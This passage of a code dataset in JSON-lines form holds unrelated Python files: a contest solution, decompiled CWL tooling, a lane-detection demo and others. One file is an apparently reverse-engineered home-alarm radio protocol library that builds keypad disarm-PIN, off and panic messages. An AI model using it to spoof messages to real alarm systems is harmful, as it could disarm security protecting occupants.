return(d)","sub_path":"map/python/make_json.py","file_name":"make_json.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"478411165","text":"R, B = map(int, input().split())\nx, y = map(int, input().split())\n\n\ndef check(k): # kが解として適しているかをチェックする\n r = R - k\n b = B - k\n if r < 0 or b < 0:\n return False\n if r // (x - 1) + b // (y - 1) < k:\n return False\n return True\n\n\n# 二分探索で答えを探す\ndef solve():\n ok = 0\n ng = max(R, B)\n\n while abs(ok - ng) > 1:\n mid = (ng + ok) // 2\n if check(mid):\n ok = mid\n else:\n ng = mid\n\n return ok\n\n\nif x == 1 or y == 1:\n print(min(R, B))\n exit()\n\n\nprint(solve())\n","sub_path":"contest_arc/50/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"620818720","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/kghose/.venvs/benten/lib/python3.7/site-packages/benten/cwl/lomtype.py\n# Compiled at: 2020-01-13 19:20:07\n# Size of source mod 2**32: 6452 bytes\nfrom .basetype import CWLBaseType, IntelligenceContext, Intelligence, MapSubjectPredicate, TypeCheck, Match\nfrom .unknowntype import CWLUnknownType\nfrom .requirementstype import CWLRequirementsType\nfrom langserver.lspobjects import Range\nfrom code.intelligence import LookupNode, IntelligenceNode\nfrom code.intelligencecontext import copy_context\nfrom .lib import ListOrMap\nfrom .typeinference import infer_type\nfrom ..code import workflow\n\nclass CWLListOrMapType(CWLBaseType):\n\n def __init__(self, name, allowed_types, map_sp):\n super().__init__(name)\n self.map_subject_predicate = map_sp\n if not isinstance(allowed_types, list):\n allowed_types = [\n allowed_types]\n self.types = allowed_types\n self.enclosing_workflow = None\n\n def check(self, node, node_key: str=None, map_sp: MapSubjectPredicate=None) -> TypeCheck:\n if node is None or isinstance(node, (str, list, dict)):\n return TypeCheck(cwl_type=self)\n return TypeCheck(cwl_type=self, match=(Match.No))\n\n def parse(self, doc_uri: str, node, intel_context: IntelligenceContext, code_intel: Intelligence, problems: list, node_key: str=None, map_sp: MapSubjectPredicate=None, key_range: Range=None, value_range: Range=None, requirements=None):\n obj = ListOrMap(node, key_field=(self.map_subject_predicate.subject), problems=problems)\n if self.name == 'requirements':\n intel_context.requirements = IntelligenceNode(completions=[t.name for t in self.types])\n else:\n if obj.original_obj is None or isinstance(obj.original_obj, str):\n if self.name == 'requirements':\n ln = LookupNode(loc=value_range)\n ln.intelligence_node = intel_context.requirements\n code_intel.add_lookup_node(ln)\n else:\n if self.name == 'in':\n if intel_context.workflow_step_intelligence is not None:\n ln = LookupNode(loc=value_range)\n ln.intelligence_node = intel_context.workflow_step_intelligence.get_step_inport_completer()\n code_intel.add_lookup_node(ln)\n elif self.name == 'output':\n if intel_context.workflow is not None:\n ln = LookupNode(loc=value_range)\n ln.intelligence_node = intel_context.workflow.get_output_source_completer('')\n code_intel.add_lookup_node(ln)\n for k, v in obj.as_dict.items():\n this_intel_context = copy_context(intel_context)\n this_intel_context.path += [k]\n inferred_type = infer_type(v,\n allowed_types=(self.types),\n key=(k if obj.was_dict else None),\n map_sp=(self.map_subject_predicate if obj.was_dict else None))\n if self.name == 'requirements':\n if isinstance(inferred_type, CWLUnknownType):\n inferred_type = CWLRequirementsType('requirement', self.types)\n if self.name == 'steps':\n this_intel_context.workflow_step_intelligence = workflow.WFStepIntelligence(step_id=k)\n inferred_type.parse(doc_uri=doc_uri,\n node=v,\n intel_context=this_intel_context,\n code_intel=code_intel,\n problems=problems,\n node_key=(k if obj.was_dict else None),\n map_sp=(self.map_subject_predicate),\n key_range=(obj.get_range_for_id(k)),\n value_range=(obj.get_range_for_value(k)),\n requirements=requirements)\n if self.name == 'steps':\n intel_context.workflow.add_step_intel(k, this_intel_context.workflow_step_intelligence)\n if obj.was_dict:\n if self.name == 'requirements':\n ln = LookupNode(loc=(obj.get_range_for_id(k)))\n ln.intelligence_node = intel_context.requirements\n code_intel.add_lookup_node(ln)\n elif self.name == 'in':\n wf_step = intel_context.workflow_step_intelligence\n if wf_step is not None:\n ln = LookupNode(loc=(obj.get_range_for_id(k)))\n ln.intelligence_node = wf_step.get_step_inport_completer()\n code_intel.add_lookup_node(ln)\n if v is None or isinstance(v, str):\n ln = LookupNode(loc=(obj.get_range_for_value(k)))\n ln.intelligence_node = wf_step.get_step_source_completer(v)\n code_intel.add_lookup_node(ln)\n elif self.name == 'output' and not v is None:\n if isinstance(v, str):\n ln = LookupNode(loc=(obj.get_range_for_value(k)))\n ln.intelligence_node = intel_context.workflow.get_output_source_completer(v)\n code_intel.add_lookup_node(ln)","sub_path":"pycfiles/benten-2020.3.10.macosx-10.9-x86_64.tar/lomtype.cpython-37.py","file_name":"lomtype.cpython-37.py","file_ext":"py","file_size_in_byte":5387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"35150989","text":"# def cmpMethod(a,b):\n# if a[0]>b[0]: return 1\n# if a[0]b[1]: return -1\n\n# if __name__=='__main__':\nstr=input()\nchars=[]\nfor ch in str:\n chars.append(ch)\ncharsWithIdx=[]\nfor idx,ch in enumerate(chars):\n charsWithIdx.append((ch,idx+1))\n#print(charsWithIdx)\nfrom operator import itemgetter\ncharsWithIdx.sort(key=itemgetter(1),reverse=True)\ncharsWithIdx.sort(key=itemgetter(0))\n#print(charsWithIdx)\nfirstCh=False\nfor element in charsWithIdx:\n if not firstCh:\n print(element[1],end='')\n firstCh=True\n else:print('',element[1],end='')\nprint()","sub_path":"Code/CodeRecords/2176/60846/271166.py","file_name":"271166.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"251229679","text":"class MyWindow(QMainWindow, form_class):\n def __init__(self):\n self.calltime = []\n\n self.count = 0\n ... # 생략\n\n def timeout(self):\n ... # 생략\n self.stime = 1000 * (\n current_time.hour() * 3600 + current_time.minute() * 60 + current_time.second()) + current_time.msec()\n self.tcalltime = self.calltime # 임시저장\n for i in self.calltime:\n if i + 1000 < self.stime:\n self.count += -1 # calltime시간보다 stime(현재시간)이 1초 지났다면 count 줄임\n if self.count <= 0:\n self.count = 0\n self.calltime = []\n else:\n self.calltime = self.tcalltime[\n len(self.tcalltime) - self.count:len(self.tcalltime)] # 1초가 지나지 않은게 있다면 calltime에 다시 저장\n\n\n# 사용법\ndef trcall(self):\n if self.count < 5:\n self.kiwoom.call_opt10085() # 원하는tr요청\n self.calltime.append(self.stime)\n self.count += 1","sub_path":"trtime.py","file_name":"trtime.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"582962354","text":"import numpy as np\nimport time\nimport os\nimport sys\nimport cv2\nfrom scipy.special import softmax\n\nfrom erfnet_utils import ScaleNew, Normalize\n\nimport ailia\n\n# import original modules\nsys.path.append('../../util')\nfrom utils import get_base_parser, update_parser, get_savepath\nfrom model_utils import check_and_download_models\nimport webcamera_utils\n\n# logger\nfrom logging import getLogger\n\nlogger = getLogger(__name__)\nos.environ['KMP_DUPLICATE_LIB_OK'] = 'TRUE'\n\n# ======================\n# Parameters\n# ======================\nREMOTE_PATH = 'https://storage.googleapis.com/ailia-models/codes-for-lane-detection/'\nIMAGE_PATH = 'input.jpg'\nSAVE_IMAGE_PATH = 'output.jpg'\n\n# ======================\n# Arguemnt Parser Config\n# ======================\nparser = get_base_parser('erfnet model', IMAGE_PATH, SAVE_IMAGE_PATH)\nargs = update_parser(parser)\n\nWEIGHT_PATH = 'erfnet.opt.onnx'\nMODEL_PATH = 'erfnet.opt.onnx.prototxt'\n\nHEIGHT = 208\nWIDTH = 976\n\nINPUT_MEAN = [103.939, 116.779, 123.68]\nINPUT_STD = [1, 1, 1]\n\n# ======================\n# Main functions\n# ======================\ndef recognize_from_image():\n env_id = args.env_id\n net = ailia.Net(MODEL_PATH, WEIGHT_PATH, env_id=env_id)\n net.set_input_shape((1, 3, HEIGHT, WIDTH))\n\n # input image loop\n for image_path in args.input:\n # prepare input data\n logger.debug(f'input image: {image_path}')\n raw_img = cv2.imread(image_path)\n logger.debug(f'input image shape: {raw_img.shape}')\n\n trans1 = ScaleNew(size=(WIDTH, HEIGHT),\n interpolation=(cv2.INTER_LINEAR, cv2.INTER_NEAREST))\n trans2 = Normalize(mean=(INPUT_MEAN, (0,)), std=(INPUT_STD, (1,)))\n\n img = raw_img[240:, :, :]\n img = np.expand_dims(img, 0)\n img = trans1(img)\n img = trans2(img)\n img = np.array(img).transpose(0, 3, 1, 2)\n\n # inference\n logger.info('Start inference...')\n if args.benchmark:\n logger.info('BENCHMARK mode')\n for i in range(5):\n start = int(round(time.time() * 1000))\n output, output_exist = net.run(img)\n end = int(round(time.time() * 1000))\n logger.info(f'\\tailia processing time {end - start} ms')\n else:\n output, output_exist = net.run(img)\n\n output = softmax(output, axis=1)\n\n cnt = 0\n for num in range(4):\n prob_map = (output[0][num + 1] * 255).astype(int)\n if cnt == 0:\n out_img = prob_map\n else:\n out_img += prob_map\n cnt += 1\n\n savepath = get_savepath(args.savepath, image_path)\n logger.info(f'saved at : {savepath}')\n cv2.imwrite(savepath, out_img)\n\n logger.info('Script finished successfully.')\n\n\ndef recognize_from_video():\n # net initialize\n env_id = args.env_id\n net = ailia.Net(MODEL_PATH, WEIGHT_PATH, env_id=env_id)\n\n capture = webcamera_utils.get_capture(args.video)\n\n # create video writer if savepath is specified as video format\n if args.savepath != SAVE_IMAGE_PATH:\n logger.warning(\n 'currently, video results cannot be output correctly...'\n )\n writer = webcamera_utils.get_writer(args.savepath, HEIGHT*2, WIDTH)\n else:\n writer = None\n\n output_buffer = np.zeros((HEIGHT*2,WIDTH,3))\n output_buffer = output_buffer.astype(np.uint8)\n\n while (True):\n ret, frame = capture.read()\n if (cv2.waitKey(1) & 0xFF == ord('q')) or not ret:\n break\n\n trans = Normalize(mean=(INPUT_MEAN, (0,)), std=(INPUT_STD, (1,)))\n\n # resize with keep aspect\n frame,resized_img = webcamera_utils.adjust_frame_size(frame, HEIGHT, WIDTH)\n\n img = np.expand_dims(resized_img, 0)\n img = trans(img)\n img = np.array(img).transpose(0, 3, 1, 2)\n\n output, output_exist = net.run(img)\n output = softmax(output, axis=1)\n\n cnt = 0\n for num in range(4):\n prob_map = (output[0][num + 1] * 255).astype(int)\n if cnt == 0:\n out_img = prob_map\n else:\n out_img += prob_map\n cnt += 1\n\n out_img = np.array(out_img, dtype=np.uint8)\n\n # create output img\n output_buffer[0:HEIGHT,0:WIDTH,:] = resized_img\n output_buffer[HEIGHT:HEIGHT*2,0:WIDTH,0] = out_img\n output_buffer[HEIGHT:HEIGHT*2,0:WIDTH,1] = out_img\n output_buffer[HEIGHT:HEIGHT*2,0:WIDTH,2] = out_img\n\n cv2.imshow('output', output_buffer)\n\n # save results\n if writer is not None:\n writer.write(output_buffer)\n\n capture.release()\n cv2.destroyAllWindows()\n if writer is not None:\n writer.release()\n logger.info('Script finished successfully.')\n\n\ndef main():\n # model files check and download\n check_and_download_models(WEIGHT_PATH, MODEL_PATH, REMOTE_PATH)\n\n if args.video is not None:\n # video mode\n recognize_from_video()\n else:\n # image mode\n recognize_from_image()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"image_segmentation/codes-for-lane-detection/codes-for-lane-detection.py","file_name":"codes-for-lane-detection.py","file_ext":"py","file_size_in_byte":5100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"47280401","text":"#!/usr/bin/python3\nfrom enum import IntEnum, unique\nimport struct\n\nclass SerialNumberFormat:\n ASCII_4B5C = \"4-byte-encoded 5-alphanumeric-character serial number\"\n HEX_5B6C = \"5-byte-encoded 6-hexadecimal-character serial number\"\n\n @classmethod\n def unpack(cls, fmt: str, buffer: bytes):\n if fmt == cls.ASCII_4B5C:\n if len(buffer) < 4:\n raise ValueError\n b = [((buffer[2] >> 0) & 0x30) | (buffer[0] & 0xF)]\n b.append(((buffer[2] >> 2) & 0x30) | (buffer[0] >> 4))\n b.append(((buffer[3] << 4) & 0x30) | (buffer[1] & 0xF))\n b.append(((buffer[3] << 2) & 0x30) | (buffer[1] >> 4))\n b.append(((buffer[3] << 0) & 0x30) | (buffer[2] & 0xF))\n sn = \"\"\n for c in b:\n if c == 0x3F: # Blank\n break\n sn += chr(c + 0x30)\n hb = bool(buffer[3] & 0x80)\n lb = bool(buffer[3] & 0x40)\n sn = (sn, hb, lb)\n elif fmt == cls.HEX_5B6C:\n if len(buffer) < 5:\n raise ValueError\n sn = \"{:X}\".format(buffer[0] & 0xF)\n sn += \"{:X}\".format(buffer[1] & 0xF)\n sn += \"{:X}\".format(buffer[2] & 0xF)\n sn += \"{:X}\".format(buffer[3] & 0xF)\n sn += \"{:X}\".format(buffer[4] & 0xF)\n sn += \"{:X}\".format(buffer[3] >> 4)\n else:\n raise ValueError\n return sn\n\n @classmethod\n def pack(cls, fmt, s: str, hb: bool=False, lb: bool=False) -> bytes:\n if fmt == cls.ASCII_4B5C:\n b = []\n for i in range(5):\n if i < len(s):\n b.append(ord(s[i]) - 0x30)\n else:\n b.append(0x3F) # Blank\n buffer = bytes([((b[1] & 0x0F) << 4) | (b[0] & 0xF)])\n buffer += bytes([((b[3] & 0x0F) << 4) | (b[2] & 0xF)])\n buffer += bytes([((b[1] & 0x30) << 2) | ((b[0] & 0x30) << 0) | (b[4] & 0x0F)])\n buffer += bytes([(int(hb) << 7 ) | (int(lb) << 6) | ((b[4] & 0x30) << 0) | ((b[3] & 0x30) >> 2) | ((b[2] & 0x30) >> 4)])\n elif fmt == cls.HEX_5B6C:\n buffer = bytes([int(s[0], 16)])\n buffer += bytes([int(s[1], 16)])\n buffer += bytes([int(s[2], 16)])\n buffer += bytes([(int(s[5], 16) << 4) + int(s[3], 16)])\n buffer += bytes([int(s[4], 16)])\n else:\n raise ValueError\n return buffer\n\n\nclass InvalidMessageBytesError(ValueError):\n pass\n\n\n@unique\nclass UniqueEnum(IntEnum):\n\n @classmethod\n def key(cls, value):\n try:\n return list(cls.__members__.keys())[list(cls.__members__.values()).index(value)]\n except ValueError:\n return \"Value does not exist in \" + str(cls) + \": 0x{:02X}\".format(value)\n\n\n# Level 1\nclass Message:\n\n PAYLOAD_LENGTHS = {0x00: 7, 0x11: 2, 0x22: 3, 0x33: 4, 0x66: 7}\n VENDOR_CODE = 0xCC05\n\n class OriginType(UniqueEnum):\n BASE_STATION = 0x0\n KEYPAD = 0x1\n KEYCHAIN_REMOTE = 0x2\n PANIC_BUTTON = 0x3\n MOTION_SENSOR = 0x4\n ENTRY_SENSOR = 0x5\n GLASSBREAK_SENSOR = 0x6\n SMOKE_DETECTOR = 0x8\n\n def __init__(self, plc: int, sn: str, payload: bytes, footer: bytes):\n if len(sn) != 5:\n raise ValueError(\"Serial number must be 5 characters.\") # TODO: Need to test for SNs less than 5 chars\n self.plc = plc\n self.sn = sn\n self.payload = payload\n self.footer = footer\n\n def __bytes__(self):\n sn = self.sn.encode('ascii')\n pl = Message.PAYLOAD_LENGTHS.get(self.plc)\n return struct.pack(\">HB5B\", self.VENDOR_CODE, self.plc, *sn) + self.payload + struct.pack(\">B\", self.checksum) + self.footer\n\n def __str__(self):\n s = \"Payload Length Code: 0x{:02X} ({} bytes)\\n\".format(self.plc, self.PAYLOAD_LENGTHS.get(self.plc))\n s += \"Serial Number: \" + self.sn + \"\\n\"\n s += \"Checksum: 0x{:02X}\\n\".format(self.checksum)\n return s\n\n @property\n def checksum(self):\n return sum(self.payload) % 256\n\n @checksum.setter\n def checksum(self, value):\n if value != self.checksum:\n raise ValueError(\"Checksum mismatch! Received: 0x{:02X}, Calculated: 0x{:02X}\".format(value, self.checksum))\n\n @classmethod\n def factory(cls, b: bytes, recurse: bool=True):\n if len(b) < 9:\n raise InvalidMessageBytesError(\"Message must be at least 9 bytes\") # Consider removing or moving down to children\n vc = struct.unpack(\">H\", b[0:2])[0]\n if vc != Message.VENDOR_CODE:\n raise InvalidMessageBytesError(\"Invalid Vendor Code: 0x{:04X}\".format(vc))\n plc = b[2]\n if plc not in cls.PAYLOAD_LENGTHS:\n raise InvalidMessageBytesError(\"Unknown payload length code: 0x{:02X}\".format(plc))\n sn = b[3:8].decode('ascii')\n pl = cls.PAYLOAD_LENGTHS[plc]\n payload = b[8 : 8 + pl]\n footer = b[8 + pl + 1 :]\n msg = cls(plc, sn, payload, footer)\n if recurse:\n for c in cls.__subclasses__():\n try:\n msg = c.factory(msg)\n break\n except ValueError:\n pass\n checksum = b[8 + pl]\n msg.checksum = checksum # Validate checksum \n return msg\n\n# Level 2\nclass ComponentMessage(Message):\n\n @classmethod\n def factory(cls, msg: Message, recurse: bool=True):\n msg = cls(msg.plc, msg.sn, msg.payload, msg.footer)\n if recurse:\n for c in cls.__subclasses__():\n try:\n return c.factory(msg)\n except ValueError:\n pass\n raise ValueError\n return msg\n\n\n# Level 3\nclass KeypadMessage(ComponentMessage):\n\n footer = bytes()\n origin_type = Message.OriginType.KEYPAD\n\n class EventType(UniqueEnum):\n EXTENDED_STATUS_REQUEST = 0x11\n TEST_MODE_ON_REQUEST = 0x13\n EXTENDED_STATUS_REMOTE_UPDATE = 0x14\n ENTRY_SENSOR_UPDATE = 0x27\n EXTENDED_STATUS_UPDATE = 0x28\n STATUS_UPDATE = 0x31\n SENSOR_ERROR_1_UPDATE = 0x32\n SENSOR_ERROR_2_UPDATE = 0x35\n SENSOR_ERROR_3_UPDATE = 0x36\n SENSOR_ERROR_4_UPDATE = 0x37\n REMOVE_COMPONENT_MENU_REQUEST = 0x44 # Response is REMOVE_COMPONENT_SCROLL\n REMOVE_COMPONENT_SCROLL_MENU_REQUEST = 0x45 # Response is one of REMOVE_*_SCROLL below:\n REMOVE_ENTRY_SENSOR_SCROLL_MENU_REQUEST = 0x47\n REMOVE_MOTION_SENSOR_SCROLL_MENU_REQUEST = 0x48\n REMOVE_PANIC_BUTTON_SCROLL_MENU_REQUEST = 0x49\n REMOVE_KEYPAD_SCROLL_MENU_REQUEST = 0x4A\n REMOVE_KEYCHAIN_REMOTE_SCROLL_MENU_REQUEST = 0x4B\n REMOVE_GLASSBREAK_SENSOR_SCROLL_MENU_REQUEST = 0x4C\n REMOVE_SMOKE_DETECTOR_SCROLL_MENU_REQUEST = 0x4D\n REMOVE_CO_DETECTOR_SCROLL_MENU_REQUEST = 0x4E\n REMOVE_FREEZE_SENSOR_SCROLL_MENU_REQUEST = 0x4F\n REMOVE_WATER_SENSOR_SCROLL_MENU_REQUEST = 0x50\n DISARM_PIN_REQUEST = 0x51\n HOME_REQUEST = 0x53\n PANIC_REQUEST = 0x54\n AWAY_REQUEST = 0x56\n OFF_REMOTE_UPDATE = 0x57 # TODO: plc = 0x33, payload_body[0] = 0xFF, follows 'off' request by keychain or app\n OFF_REQUEST = 0x5C\n TEST_MODE_OFF_REQUEST = 0x5E\n ENTER_MENU_REQUEST = 0x61 # Verify request and response, including PLC and payload_body\n NEW_PIN_REQUEST = 0x62\n NEW_PREFIX_REQUEST = 0x63\n EXIT_MENU_REQUEST = 0x64\n MENU_PIN_REQUEST = 0x66\n REMOVE_COMPONENT_CONFIRM_MENU_REQUEST = 0x67\n ADD_ENTRY_SENSOR_MENU_REQUEST = 0x69\n ADD_MOTION_SENSOR_MENU_REQUEST = 0x6A\n ADD_PANIC_BUTTON_MENU_REQUEST = 0x6B\n ADD_KEYCHAIN_REMOTE_MENU_REQUEST = 0x6D\n ADD_GLASSBREAK_SENSOR_MENU_REQUEST = 0x6E\n ADD_SMOKE_DETECTOR_MENU_REQUEST = 0x6E\n CHANGE_PIN_MENU_REQUEST = 0x71\n CHANGE_PIN_CONFIRM_MENU_REQUEST = 0x72\n CHANGE_PREFIX_MENU_REQUEST = 0x73\n ADD_COMPONENT_MENU_REQUEST = 0x74\n ADD_COMPONENT_TYPE_MENU_REQUEST = 0x75\n REMOVE_COMPONENT_SELECT_MENU_REQUEST = 0x76\n ADD_COMPONENT_LAST_TYPE_MENU_REQUEST = 0x77 # Best guess, is sent three times\n ADD_CO_DETECTOR_MENU_REQUEST = 0x78\n ADD_FREEZE_SENSOR_MENU_REQUEST = 0x79\n ADD_WATER_SENSOR_MENU_REQUEST = 0x7A\n \n def __init__(self, plc: int, sn: str, sequence: int, event_type: 'KeypadMessage.EventType', payload_body: bytes):\n self.sequence = sequence\n self.event_type = event_type\n self.payload_body = payload_body\n super().__init__(plc, sn, self.payload, self.footer)\n\n def __str__(self):\n s = super().__str__()\n s += \"Origin Type: \" + self.origin_type.__class__.key(self.origin_type) + \"\\n\"\n s += \"Sequence: 0x{:X}\\n\".format(self.sequence)\n s += \"Event Type: \" + self.event_type.__class__.key(self.event_type) + \"\\n\"\n return s\n\n @classmethod\n def factory(cls, msg: ComponentMessage, recurse: bool=True):\n origin_type = cls.OriginType(msg.payload[0])\n if origin_type != cls.origin_type:\n raise InvalidMessageBytesError\n sequence = msg.payload[1] >> 4\n payload_body = msg.payload[2:-1]\n event_type = cls.EventType(msg.payload[-1])\n msg = cls(msg.plc, msg.sn, sequence, event_type, payload_body)\n if recurse:\n for c in cls.__subclasses__():\n try:\n return c.factory(msg)\n except ValueError:\n pass\n raise NotImplementedError(\"Unimplemented KeypadMessage, PLC: 0x{:02X}, Event Type: 0x{:02X}\".format(msg.plc, event_type))\n return msg\n\n @property\n def payload(self):\n return bytes([self.origin_type, (self.sequence << 4) | 0x4]) + self.payload_body + bytes([self.event_type])\n\n @payload.setter\n def payload(self, value):\n if value != self.payload:\n raise ValueError\n\n\n# This is a status message? (KE = 0x31)\n#class KeypadOutOfRangeMessage(KeypadEventMessage):\n\n# def __init__(self, sn: str, sequence):\n# super().__init__(0x00, sn, AbstractKeypadEventRequest.EventType.OUT_OF_RANGE, sequence)\n\n# @KeypadEventMessage.payload.getter\n# def payload(self):\n# return self.payload_header + (self.sn[1:] + self.sn[0]).encode('ascii') + self.payload_footer\n\n# Level 4\nclass KeypadRemoveComponentScrollMenuRequest(KeypadMessage):\n\n event_type = KeypadMessage.EventType.REMOVE_COMPONENT_SCROLL_MENU_REQUEST\n plc = 0x33\n\n def __init__(self, sn: str, sequence, n: int):\n self.n = n # TODO: Check range\n super().__init__(self.plc, sn, sequence, self.event_type, self.payload_body)\n\n def __str__(self):\n s = super().__str__()\n s += \"Component Index: \" + str(self.n) + \"\\n\"\n return s\n\n @classmethod\n def factory(cls, msg: KeypadMessage):\n if msg.plc != cls.plc:\n raise InvalidMessageBytesError\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n n = msg.payload_body[0]\n return cls(msg.sn, msg.sequence, n)\n\n @property\n def payload_body(self):\n return bytes([self.n])\n\n @payload_body.setter\n def payload_body(self, value):\n if value != self.payload_body:\n raise ValueError\n\n\nclass KeypadPinMessage(KeypadMessage):\n\n payload_body_suffix = bytes([0x0F, 0xF0])\n plc = 0x66\n\n def __init__(self, sn: str, sequence, event_type: 'KeypadMessage.EventType', pin):\n pin = str(pin)\n try:\n int(pin)\n except ValueError:\n raise ValueError(\"PIN must be numeric\")\n if len(pin) != 4:\n raise ValueError(\"PIN must be 4 digits\")\n self.pin = pin # ASCII\n super().__init__(self.plc, sn, sequence, event_type, self.payload_body)\n\n def __str__(self):\n s = super().__str__()\n s += \"PIN: \" + self.pin + \"\\n\"\n return s\n\n @classmethod\n def factory(cls, msg: KeypadMessage, recurse: bool=True):\n if msg.plc != cls.plc:\n raise InvalidMessageBytesError\n if msg.payload_body[2:4] != cls.payload_body_suffix:\n raise InvalidMessageBytesError\n pin = str(msg.payload_body[0] & 0xF)\n pin += str(msg.payload_body[0] >> 4)\n pin += str(msg.payload_body[1] & 0xF)\n pin += str(msg.payload_body[1] >> 4)\n msg = cls(msg.sn, msg.sequence, msg.event_type, pin)\n if recurse:\n for c in cls.__subclasses__():\n try:\n return c.factory(msg)\n except ValueError:\n pass\n raise InvalidMessageBytesError\n return msg\n\n @property\n def payload_body(self):\n stuffed_pin = bytes([(int(self.pin[1]) << 4) + int(self.pin[0]), (int(self.pin[3]) << 4) + int(self.pin[2])])\n return stuffed_pin + self.payload_body_suffix\n\n @payload_body.setter\n def payload_body(self, value):\n if value != self.payload_body:\n raise ValueError\n\n# Level 5\nclass KeypadDisarmPinRequest(KeypadPinMessage):\n\n event_type = KeypadMessage.EventType.DISARM_PIN_REQUEST\n\n def __init__(self, sn: str, sequence: int, pin):\n super().__init__(sn, sequence, self.event_type, pin)\n\n @classmethod\n def factory(cls, msg: KeypadPinMessage):\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n return cls(msg.sn, msg.sequence, msg.pin)\n\n\nclass KeypadNewPinRequest(KeypadPinMessage):\n\n event_type = KeypadMessage.EventType.NEW_PIN_REQUEST\n\n def __init__(self, sn: str, sequence: int, pin):\n super().__init__(sn, sequence, self.event_type, pin)\n\n @classmethod\n def factory(cls, msg: KeypadPinMessage):\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n return cls(msg.sn, msg.sequence, msg.pin)\n\n\nclass KeypadMenuPinRequest(KeypadPinMessage):\n\n event_type = KeypadMessage.EventType.MENU_PIN_REQUEST\n\n def __init__(self, sn: str, sequence: int, pin):\n super().__init__(sn, sequence, self.event_type, pin)\n\n @classmethod\n def factory(cls, msg: KeypadPinMessage):\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n return cls(msg.sn, msg.sequence, msg.pin)\n\n# Level 4\nclass AbstractKeypadSimpleRequest(KeypadMessage):\n\n payload_body = bytes()\n plc = 0x22\n\n def __init__(self, sn: str, sequence: int):\n super().__init__(self.plc, sn, sequence, self.event_type, self.payload_body)\n\n @classmethod\n def factory(cls, msg: KeypadMessage):\n if msg.plc != cls.plc:\n raise InvalidMessageBytesError\n if msg.payload_body != cls.payload_body:\n raise InvalidMessageBytesError\n for c in cls.__subclasses__():\n if msg.event_type == c.event_type:\n return c(msg.sn, msg.sequence)\n raise InvalidMessageBytesError\n\n\n# Level 5\nclass KeypadExtendedStatusRequest(AbstractKeypadSimpleRequest):\n\n event_type = KeypadMessage.EventType.EXTENDED_STATUS_REQUEST\n\n\nclass KeypadTestModeOnRequest(AbstractKeypadSimpleRequest):\n\n event_type = KeypadMessage.EventType.TEST_MODE_ON_REQUEST\n\n\nclass KeypadTestModeOffRequest(AbstractKeypadSimpleRequest):\n\n event_type = KeypadMessage.EventType.TEST_MODE_OFF_REQUEST\n\n\nclass KeypadRemoveComponentMenuRequest(AbstractKeypadSimpleRequest):\n\n event_type = KeypadMessage.EventType.REMOVE_COMPONENT_MENU_REQUEST\n\n\nclass KeypadHomeRequest(AbstractKeypadSimpleRequest):\n\n event_type = KeypadMessage.EventType.HOME_REQUEST\n\n\nclass KeypadPanicRequest(AbstractKeypadSimpleRequest):\n\n event_type = KeypadMessage.EventType.PANIC_REQUEST\n\n\nclass KeypadAwayRequest(AbstractKeypadSimpleRequest):\n\n event_type = KeypadMessage.EventType.AWAY_REQUEST\n\n\nclass KeypadOffRequest(AbstractKeypadSimpleRequest):\n\n event_type = KeypadMessage.EventType.OFF_REQUEST\n\n\nclass KeypadEnterMenuRequest(AbstractKeypadSimpleRequest):\n\n event_type = KeypadMessage.EventType.ENTER_MENU_REQUEST\n\n\nclass KeypadExitMenuRequest(AbstractKeypadSimpleRequest):\n\n event_type = KeypadMessage.EventType.EXIT_MENU_REQUEST\n\n\nclass KeypadChangePinMenuRequest(AbstractKeypadSimpleRequest):\n\n event_type = KeypadMessage.EventType.CHANGE_PIN_MENU_REQUEST\n\n\nclass KeypadChangePinConfirmMenuRequest(AbstractKeypadSimpleRequest):\n\n event_type = KeypadMessage.EventType.CHANGE_PIN_CONFIRM_MENU_REQUEST\n\n\nclass KeypadAddComponentMenuRequest(AbstractKeypadSimpleRequest):\n\n event_type = KeypadMessage.EventType.ADD_COMPONENT_MENU_REQUEST\n\n\nclass KeypadRemoveComponentSelectMenuRequest(AbstractKeypadSimpleRequest):\n\n event_type = KeypadMessage.EventType.REMOVE_COMPONENT_SELECT_MENU_REQUEST\n\n\nclass KeypadAddComponentLastTypeMenuRequest(AbstractKeypadSimpleRequest):\n\n event_type = KeypadMessage.EventType.ADD_COMPONENT_LAST_TYPE_MENU_REQUEST\n\n\n# Level 4\nclass KeypadPrefixRequest(KeypadMessage):\n\n event_type = KeypadMessage.EventType.NEW_PREFIX_REQUEST\n payload_body_prefix = \"F\"\n payload_body_suffix = \"FFCFFF\"\n plc = 0x66\n\n def __init__(self, sn: str, sequence: int, prefix):\n if prefix is not None:\n prefix = str(prefix)\n try:\n int(prefix)\n except ValueError:\n raise Exception(\"Prefix must be numeric\")\n if len(prefix) != 1:\n raise Exception(\"Prefix must be 1 digit\")\n prefix = int(prefix)\n self.prefix = prefix\n super().__init__(self.plc, sn, sequence, self.event_type, self.payload_body)\n\n def __str__(self):\n s = super().__str__()\n s += \"Prefix: \"\n if self.prefix is None:\n s += \"(None)\"\n else:\n s += str(self.prefix)\n s += \"\\n\"\n return s\n\n @classmethod\n def factory(cls, msg: KeypadMessage):\n if msg.plc != cls.plc:\n raise InvalidMessageBytesError\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n payload_body_prefix = \"{:X}\".format(msg.payload_body[0] >> 4)\n if payload_body_prefix != cls.payload_body_prefix:\n raise InvalidMessageBytesError\n payload_body_suffix = 